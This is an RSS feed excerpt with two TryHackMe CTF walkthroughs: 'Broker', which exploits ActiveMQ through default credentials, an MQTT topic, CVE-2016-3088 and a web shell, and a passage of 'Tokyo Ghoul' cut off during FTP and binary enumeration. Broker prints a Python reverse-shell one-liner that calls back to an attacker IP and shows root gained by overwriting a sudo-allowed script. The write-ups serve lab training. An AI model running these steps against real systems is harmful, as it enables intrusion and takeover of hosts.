<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Piyush Bansal on Medium]]></title>
        <description><![CDATA[Stories by Piyush Bansal on Medium]]></description>
        <link>https://medium.com/@piyushbansal14?source=rss-602c579f34f5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*OwPIH9l-KwjBrpsndnESLQ.jpeg</url>
            <title>Stories by Piyush Bansal on Medium</title>
            <link>https://medium.com/@piyushbansal14?source=rss-602c579f34f5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 19:02:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@piyushbansal14/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Broker — TryHackMe Walkthrough | MQTT Exploitation, CVE Exploitation & Privilege Escalation]]></title>
            <link>https://piyushbansal14.medium.com/broker-tryhackme-walkthrough-mqtt-exploitation-cve-exploitation-privilege-escalation-b19fba12de50?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/b19fba12de50</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Sat, 05 Jul 2025 03:20:02 GMT</pubDate>
            <atom:updated>2025-07-05T03:28:53.202Z</atom:updated>
            <content:encoded><![CDATA[<h3>Broker — TryHackMe Walkthrough | MQTT Exploitation, CVE Exploitation &amp; Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eSKw0kzd7r9IkSI6OfIaPg.png" /></figure><h3>🧠 What You’ll Learn</h3><p>In this CTF, you’ll gain hands-on experience with:</p><ul><li>Performing service and directory enumeration</li><li>Interacting with <strong>MQTT brokers</strong> to extract sensitive data</li><li>Using leaked credentials to gain admin <strong>access</strong></li><li>Leveraging <strong>SearchSploit</strong> to identify and exploit known CVEs</li><li>Escalating privileges to root using a <strong>reverse shell</strong></li></ul><h3>Intial Recon</h3><ul><li><strong>Rustscan- RustScan</strong> is a fast and efficient port scanner used to quickly identify open ports and pass them to Nmap for deeper enumeration</li></ul><pre># Nmap 7.95 scan initiated Sat Jun 28 22:49:41 2025 as: /usr/lib/nmap/nmap -vvv -p 22,1883,8161,35557 -4 -A -o rust.txt 10.10.68.246<br>Nmap scan report for 10.10.68.246 (10.10.68.246)<br>Host is up, received reset ttl 60 (0.20s latency).<br>Scanned at 2025-06-28 22:49:42 EDT for 96s<br><br>PORT      STATE SERVICE    REASON         VERSION<br>22/tcp    open  ssh        syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 ae:c7:fc:0c:fa:e6:ab:3c:14:4d:86:7a:1a:ee:60:3f (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/aSAflajiuiah93F57eWOKoDIg64HuuTtxkC4goBuRwr6Tjnq24zsJvWBBKjjHlL+ngozVwNtClOnpUmyB8xgKxYeWPmUmM6s0OpPLtFLC6YLyGhtD8VJ0aoHQTJ4RZT4TOyc+BzlOHTz1/C45Y9UjRRnjqee/NxvAo0yPuxDoFCZmkc29Kh4SjTRjulUe4cjcpk5/yRyYOlnLfAmd4rwveww39qY7WBFywD9S4w/8pZiC8981MxdSafN9c7ACRMBDAkkldiXzzeyslQsqA1V8G8u2hvO6o8+46v8tvDYXsiFlwDUFOiN0gYckMvvLhDvo7GtBe856tmcrjGroIPtTuOsyGVidfeWAskelKCo+2YNxODYacAiI08U0LsJQnupWxfAj2G1SzmljaESDMWXM9Y70ONxbps47EMpLFluYS0itspJiiMd484k3e02QOSb/OTMydk0JZR/W4ShO5qP3GAekMNqhprPBGRLMDrxfRxB4SdlYqCql0pg0UbeXE0=<br>|   256 be:69:23:22:f2:c4:84:2c:08:06:1a:9d:cb:e2:ce:51 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgy6/e9vST5vn+H7Um3TvDj1bXOn6KKkLPuw1yKRWfuPGJir/uCvye25wGk0MXKZvg7YoUKhhzm1UJFikEzX1I=<br>|   256 2b:58:74:31:ae:21:f7:65:c5:b5:8c:fc:81:ae:96:56 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGQNWFndcIBW33iA6yWlMJZl9T9cOKYjiyWHxmh0xz5Q<br>1883/tcp  open  mqtt?      syn-ack ttl 60<br>|_mqtt-subscribe: The script encountered an error: ssl failed<br>8161/tcp  open  http       syn-ack ttl 60 Jetty 7.6.9.v20130131<br>|_http-title: Apache ActiveMQ<br>| http-methods: <br>|_  Supported Methods: GET HEAD<br>|_http-server-header: Jetty(7.6.9.v20130131)<br>|_http-favicon: Unknown favicon MD5: 05664FB0C7AFCD6436179437E31F3AA6<br>35557/tcp open  tcpwrapped syn-ack ttl 60<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.95%E=4%D=6/28%OT=22%CT=%CU=40949%PV=Y%DS=5%DC=T%G=N%TM=6860AA26<br>OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(<br>OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11<br>OS:NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(<br>OS:R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS<br>OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=<br>OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=<br>OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T<br>OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=<br>OS:S)<br><br></pre><ul><li>U see there are 3 ports are open : 22,1883,8161 in which on port <strong>1883 mqtt service </strong>is running and Port 8161 there is a http service is running over there</li></ul><p>Let’s go and check :</p><blockquote>Que :Do a TCP portscan on all ports with port number greater than 1000 and smaller than 10000! Which TCP ports do you find to be open? (counting up)</blockquote><blockquote>Ans : 1883,8161</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdoxfng8pXn4VQbuVhrLpw.png" /></figure><ul><li>This is the page opened at the port 8161 now let’s do d<strong>irectory Bruteforcing </strong>and see what inside it :</li></ul><pre>gobuster dir -u http://10.10.201.168:8161/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js -t 50<br>===============================================================<br>Gobuster v3.7<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.201.168:8161/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                /usr/share/wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.7<br>[+] Extensions:              php,html,txt,js<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/admin                (Status: 401) [Size: 1278]<br>/api                  (Status: 302) [Size: 0] [--&gt; http://10.10.201.168:8161/api/]<br>/favicon.ico          (Status: 200) [Size: 3638]<br>/images               (Status: 302) [Size: 0] [--&gt; http://10.10.201.168:8161/images/]<br>/index.html           (Status: 200) [Size: 5968]<br>/index.html           (Status: 200) [Size: 5968]<br>/styles               (Status: 302) [Size: 0] [--&gt; http://10.10.201.168:8161/styles/]<br>Progress: 23065 / 23065 (100.00%)<br>===============================================================<br>Finished</pre><ul><li>When I go to the <strong>/admin </strong>Endpoint and just enter the default Credentails: Username and Password as <strong>admin, admin . </strong>Boom We login as the admin user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFyAsFbnx0H778gaQui2XA.png" /></figure><ul><li>Here I got the software used and the version detail</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqmYBnxdZZhtd0PJerpKtg.png" /></figure><ul><li>Here u can see in it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eoIHTZoG2S3P1JK-lvpbdw.png" /></figure><ul><li>Here I enumerate different things from there and I found a <strong>secret_chat </strong>something like that here and then I got to know we have a port no. 1883 running the mqtt service</li></ul><p><a href="https://github.com/kh4sh3i/MQTT-Pentesting">GitHub - kh4sh3i/MQTT-Pentesting: MQTT exploit and Pentesting guide for penetration tester</a></p><ul><li>Here u go on the githhub page and see how u can exploit this mqtt service and read the secret_chat</li><li>When I execute the mqtt exploit , this comes</li></ul><pre>mosquitto_sub -h 10.10.201.168 -p 1883 -V mqttv31 -u admin -P admin -t secret_chat -v                           <br>secret_chat Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!<br>secret_chat Paul: Hey, have you played the videogame &#39;Hacknet&#39; yet?<br>secret_chat Max: Yeah, honestly that&#39;s the one game that got me into hacking, since I wanted to know how hacking is &#39;for real&#39;, you know? ;)<br>secret_chat Paul: Sounds awesome, I will totally try it out then ^^<br>secret_chat Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!<br>secret_chat Paul: Hey, have you played the videogame &#39;Hacknet&#39; yet?<br>secret_chat Max: Yeah, honestly that&#39;s the one game that got me into hacking, since I wanted to know how hacking is &#39;for real&#39;, you know? ;)<br>secret_chat Paul: Sounds awesome, I will totally try it out then ^^<br>secret_chat Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!</pre><ul><li>Here We got that they are playing the hacknet video game</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-KEAXh6fhVdcEPn6E64mw.png" /></figure><h3>Discovery of User Flag</h3><pre>searchsploit activemq<br>---------------------------------------------------------------------------------- ---------------------------------<br> Exploit Title                                                                    |  Path<br>---------------------------------------------------------------------------------- ---------------------------------<br>ActiveMQ &lt; 5.14.0 - Web Shell Upload (Metasploit)                                 | java/remote/42283.rb<br>Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution           | windows/remote/40857.txt<br>Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure                      | multiple/remote/33868.txt<br>Apache ActiveMQ 5.3 - &#39;admin/queueBrowse&#39; Cross-Site Scripting                    | multiple/remote/33905.txt<br>Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)        | windows/remote/48181.rb<br>Apache ActiveMQ 6.1.6 - Denial of Service (DOS)                                   | multiple/remote/52288.py</pre><ul><li>I use the searchsploit to see Is there any exploit for us to run</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*PSHrxb-GsvpyFdoehF-GQQ.png" /></figure><ul><li>I got this cve when I search it on search Engine, let’s see how we exploit and run it</li></ul><p>After Enumerating on the google just copy the cve and enter the poc Githhub u will see this Githhub link:</p><p><a href="https://github.com/vonderchild/CVE-2016-3088">GitHub - vonderchild/CVE-2016-3088</a></p><ul><li>In this he tells about it how to execute that cve</li></ul><p>I saved the python code in cve.py and just run this command</p><pre>python cve.py                                                                                                   <br>/home/piyush/Downloads/tryhackme/broker/cve.py:17: SyntaxWarning: invalid escape sequence &#39;\/&#39;<br>  path = re.search(&#39;.*\/(?!.*\/)|&#39;, resp.reason)<br>Enter url (e.g http://127.0.0.1:8661/): http://10.10.201.168:8161/<br>Enter username: admin<br>Enter password: admin<br>Shell: http://10.10.201.168:8161/admin/shell.jsp?cmd=whoami</pre><ul><li>Here I got a link and when I go there , I can easily able to execute my commmands</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ql7LnM3QG8xb1JFbtt-kyw.png" /></figure><ul><li>I decided to Execute the reverse shell and see If I got the shell or not</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*UOo5VQ8qyBOMsUNlskxezw.png" /></figure><ul><li>Type this command and run the service of netcat on my machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*_KoHSGchJcJSN_8CL-YaBw.png" /></figure><ul><li>From there we got our <strong>flag.txt</strong></li></ul><h3>Discovery of Root Flag</h3><p>Firstly, I stablize my shell and u can do it from this way:</p><pre> python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br><br><br>After it press the ctrl+z command then enter these things<br><br>stty raw -echo; fg<br>export TERM=xterm</pre><ul><li>Just follow these steps and u get a solid shell now if we want to run it as root then We have to run <strong>sudo -l </strong>as the permissions listed there</li></ul><pre>sudo -l<br>Matching Defaults entries for activemq on activemq:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin<br><br>User activemq may run the following commands on activemq:<br>    (root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py</pre><pre>             sudo -l<br>Matching Defaults entries for activemq on activemq:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin<br><br>User activemq may run the following commands on activemq:<br>    (root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py<br>activemq@activemq:/opt/apache-activemq-5.9.0$ cd /opt<br>activemq@activemq:/opt$ ls <br>apache-activemq-5.9.0<br>activemq@activemq:/opt$ cd apache-activemq-5.9.0/<br>activemq@activemq:/opt/apache-activemq-5.9.0$ ls<br>LICENSE  README.txt              bin      conf  flag.txt  start.sh      tmp<br>NOTICE   activemq-all-5.9.0.jar  chat.py  data  lib       subscribe.py  webapps<br>activemq@activemq:/opt/apache-activemq-5.9.0$ mv subscirbe.py subscribe</pre><ul><li>I run the sudo command and it listed me that I can run <strong>subscribe.py </strong>as the root user but the don’t have the permission to write this file so I see <strong>mv command </strong>is working. So I just use that command and paste this subscribe.py python file to subscribe. Then I copy a reverse shell and paste it there in subscribe.py and then run it as sudo. Open the reverse shell on that port which I used in the python reverse shell and boom we got the shell</li></ul><pre>echo &#39;import sys,socket,os,pty;s=socket.socket();s.connect((&quot;Your_ip&quot;,3333));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;/bin/sh&quot;)&#39; &gt; subscribe.py</pre><ul><li>U can execute that command</li><li>Now run the sudo command which we see</li></ul><pre>sudo /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py</pre><ul><li>U will get the shell and just see ur root flag there.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*brmjmE2TSovnaApPoJz3Ag.png" /></figure><ul><li>Here this way we got our <strong>root.txt</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Tb4jozpPwmcXB_2K_09ZQ.png" /></figure><h3>🧠 Final Thoughts</h3><p>The Broker room offered a solid blend of enumeration and exploitation. We began with service and directory enumeration, uncovered sensitive MQTT topics through brute-forcing and unauthenticated access, and leveraged leaked credentials to gain a foothold. With the help of searchsploit, we identified and exploited a known vulnerability (CVE) to escalate our access. The challenge wrapped up with a reverse shell and full root compromise, making it a well-rounded and realistic CTF scenario.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b19fba12de50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tokyo Ghoul — TryHackMe CTF Walkthrough | Web Exploitation & Privilege Escalation]]></title>
            <link>https://piyushbansal14.medium.com/tokyo-ghoul-tryhackme-ctf-walkthrough-web-exploitation-privilege-escalation-bab94ef015de?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/bab94ef015de</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[writers-on-medium]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Fri, 04 Jul 2025 13:34:04 GMT</pubDate>
            <atom:updated>2025-07-04T13:34:04.874Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tokyo Ghoul — TryHackMe CTF Walkthrough | Web Exploitation &amp; Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJ8CCDmovaXEYY5xLpOtDA.png" /></figure><h3>🧠 What You’ll Learn</h3><p>In this CTF, you’ll practice and apply the following skills:</p><ul><li>Performing web reconnaissance and directory Enumeration</li><li>Identifying and exploiting file upload vulnerabilities</li><li>Analyzing images for hidden data (steganography)</li><li>Establishing a reverse shell and stabilizing it</li><li>Performing local enumeration and Linux privilege escalation to gain root</li><li>By Paas the Python Jail</li></ul><h3>Intial Recon</h3><ul><li><strong>RustScan</strong> is a fast port scanner used to quickly find open ports and pass them to Nmap.</li></ul><pre>rustscan -a &lt;target-ip&gt; -- -A</pre><pre>rustscan -a 10.10.99.189 -- -A<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog         :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------                                                                                                                                                                                                     <br>I scanned my computer so many times, it thinks we&#39;re dating.                                                                                                                                                                                <br>                                                                                                                                                                                                                                            <br>[~] The config file is expected to be at &quot;/root/.rustscan.toml&quot;                                                                                                                                                                             <br>[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers                                                                                                                         <br>[!] Your file limit is very small, which negatively impacts RustScan&#39;s speed. Use the Docker image, or up the Ulimit with &#39;--ulimit 5000&#39;.                                                                                                  <br>Open 10.10.99.189:80                                                                                                                                                                                                                        <br>Open 10.10.99.189:22                                                                                                                                                                                                                        <br>Open 10.10.99.189:21                                                                                                                                                                                                                        <br>)[~] Starting Script(s)                                                                                                                                                                                                                     <br>[&gt;] Running script &quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&quot; on ip 10.10.99.189<br>Depending on the complexity of the script, results may take some time to appear.<br>[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 22:49 EDT<br>NSE: Loaded 157 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 22:49<br>Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan<br>NSE: Active NSE Script Threads: 1 (0 waiting)<br>NSE Timing: About 0.00% done<br>Completed NSE at 22:49, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 22:49<br>Completed NSE at 22:49, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 22:49<br>Completed NSE at 22:49, 0.00s elapsed<br>Initiating Ping Scan at 22:49<br>Scanning 10.10.99.189 [4 ports]<br>Completed Ping Scan at 22:49, 0.31s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 22:49<br>Completed Parallel DNS resolution of 1 host. at 22:49, 0.02s elapsed<br>DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating SYN Stealth Scan at 22:49<br>Scanning 10.10.99.189 (10.10.99.189) [3 ports]<br>Discovered open port 80/tcp on 10.10.99.189<br>Discovered open port 22/tcp on 10.10.99.189<br>Discovered open port 21/tcp on 10.10.99.189<br>Completed SYN Stealth Scan at 22:49, 0.24s elapsed (3 total ports)<br>Initiating Service scan at 22:49<br>Scanning 3 services on 10.10.99.189 (10.10.99.189)<br>Completed Service scan at 22:49, 6.54s elapsed (3 services on 1 host)<br>Initiating OS detection (try #1) against 10.10.99.189 (10.10.99.189)<br>Initiating Traceroute at 22:49<br>Completed Traceroute at 22:49, 3.03s elapsed<br>Initiating Parallel DNS resolution of 1 host. at 22:49<br>Completed Parallel DNS resolution of 1 host. at 22:49, 0.02s elapsed<br>DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]<br>NSE: Script scanning 10.10.99.189.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 22:49<br>NSE: [ftp-bounce 10.10.99.189:21] PORT response: 500 Illegal PORT command.<br>Completed NSE at 22:49, 6.40s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 22:49<br>Completed NSE at 22:49, 1.56s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 22:49<br>Completed NSE at 22:49, 0.00s elapsed<br>Nmap scan report for 10.10.99.189 (10.10.99.189)<br>Host is up, received timestamp-reply ttl 60 (0.20s latency).<br>Scanned at 2025-07-03 22:49:36 EDT for 21s<br><br>PORT   STATE SERVICE REASON         VERSION<br>21/tcp open  ftp     syn-ack ttl 60 vsftpd 3.0.3<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 need_Help?<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.17.75.89<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 4<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>22/tcp open  ssh     syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 fa:9e:38:d3:95:df:55:ea:14:c9:49:d8:0a:61:db:5e (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeIXT46ZiVmp8Es0cKk8YkMs3kwCdmC2Ve/0A0F7aKUIOlbyLc9FkbTEGSrE69obV3u6VywjxZX6VWQoJRHLooPmZCHkYGjW+y5kfEoyeu7pqZr7oA8xgSRf+gsEETWqPnSwjTznFaZ0T1X0KfIgCidrr9pWC0c2AxC1zxNPz9p13NJH5n4RUSYCMOm2xSIwUr6ySL3v/jijwEKIMnwJHbEOmxhGrzaAXgAJeGkXUA0fU1mTVLlSwOClKOBTTo+FGcJdrFf65XenUVLaqaQGytKxR2qiCkr7bbTaWV0F8jPtVD4zOXLy2rGoozMU7jAukQu6uaDxpE7BiybhV3Ac1x<br>|   256 ad:b7:a7:5e:36:cb:32:a0:90:90:8e:0b:98:30:8a:97 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC5o77nOh7/3HUQAxhtNqHX7LGDtYoVZ0au6UJzFVsAEJ644PyU2/pALbapZwFEQI3AUZ5JxjylwKzf1m+G5OJM=<br>|   256 a2:a2:c8:14:96:c5:20:68:85:e5:41:d0:aa:53:8b:bd (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOJwYjN/qiwrS4es9m/LgWitFMA0f6AJMTi8aHkYj7vE<br>80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Welcome To Tokyo goul<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 4.X|5.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.4 cpe:/o:linux:linux_kernel:5.4<br>OS details: Linux 4.4, Linux 5.4</pre><ul><li>So there are 3 ports are running : 80,22,21 . In this At Port 21, Anonymouis login is allowed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fD9Wvrw1JmHVGPMO4pbU3w.png" /></figure><ul><li>These are the two questions u can easily answer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0fPI3Pt4LgNLad_SOVYYJQ.png" /></figure><p>When u go to the ip address, click the link below and then view the source code , U will see we have to login the ftp server</p><p>Using FTP, we get two file from the server to our local system, let’s see what inside them</p><pre>┌──(root㉿Piyush)-[/home/piyush/Downloads/tryhackme/tokyo]<br>└─# ftp 10.10.153.90                                                                                                                                                                         <br>Connected to 10.10.153.90.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.153.90:piyush): anonymous<br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||42209|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 .<br>drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 ..<br>drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 need_Help?<br>226 Directory send OK.<br>ftp&gt; cd need_Help?<br>250 Directory successfully changed.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||49187|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 .<br>drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 ..<br>-rw-r--r--    1 ftp      ftp           480 Jan 23  2021 Aogiri_tree.txt<br>drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2021 Talk_with_me<br>226 Directory send OK.<br>ftp&gt; less Aogiri_tree.txt<br>Why are you so late?? i&#39;ve been waiting for too long .<br>So i heard you need help to defeat Jason , so i&#39;ll help you to do it and i know you are wondering how i will. <br>I knew Rize San more than anyone and she is a part of you, right?<br>That mean you got her kagune , so you should activate her Kagune and to do that you should get all control to your body , i&#39;ll help you to know Rise san more and get her kagune , and don&#39;t <br>forget you are now a part of the Aogiri tree .<br>Bye Kaneki.<br>ftp&gt; cd Talk_with_me<br>250 Directory successfully changed.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||48306|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2021 .<br>drwxr-xr-x    3 ftp      ftp          4096 Jan 23  2021 ..<br>-rwxr-xr-x    1 ftp      ftp         17488 Jan 23  2021 need_to_talk<br>-rw-r--r--    1 ftp      ftp         46674 Jan 23  2021 rize_and_kaneki.jpg<br>226 Directory send OK.<br>ftp&gt; get rize_and_kaneki.jpg<br>local: rize_and_kaneki.jpg remote: rize_and_kaneki.jpg<br>229 Entering Extended Passive Mode (|||43536|)<br>150 Opening BINARY mode data connection for rize_and_kaneki.jpg (46674 bytes).<br>100% |************************************************************************************************************************************************| 46674        5.65 KiB/s    00:00 ETA<br>226 Transfer complete.<br>46674 bytes received in 00:08 (5.47 KiB/s)<br>ftp&gt; get need_to_talk<br>local: need_to_talk remote: need_to_talk<br>229 Entering Extended Passive Mode (|||40809|)<br>150 Opening BINARY mode data connection for need_to_talk (17488 bytes).<br>100% |************************************************************************************************************************************************| 17488       27.70 KiB/s    00:00 ETA<br>226 Transfer complete.<br>17488 bytes received in 00:00 (21.53 KiB/s)<br>ftp&gt; exit<br>221 Goodbye.</pre><ul><li>Now we see what inside this jpg and need_to_talk</li></ul><pre>strings need_to_talk                                                                                                                                                                     <br>/lib64/ld-linux-x86-64.so.2<br>mgUa<br>puts<br>putchar<br>stdin<br>printf<br>fgets<br>strlen<br>stdout<br>malloc<br>usleep<br>__cxa_finalize<br>setbuf<br>strcmp<br>__libc_start_main<br>free<br>libc.so.6<br>GLIBC_2.2.5<br>_ITM_deregisterTMCloneTable<br>__gmon_start__<br>_ITM_registerTMCloneTable<br>u/UH<br>You_founH<br>d_1t<br>[]A\A]A^A_<br>kamishiro<br>Hey Kaneki finnaly you want to talk <br>Unfortunately before I can give you the kagune you need to give me the paraphrase<br>Do you have what I&#39;m looking for?<br>Good job. I believe this is what you came for:<br>Hmm. I don&#39;t think this is what I was looking for.<br>Take a look inside of me. rabin2 -z</pre><ul><li>There is a word in it kamishiro which is used later in it</li><li>This is a executable file so firstly we have to execute permission using chmod and then execute 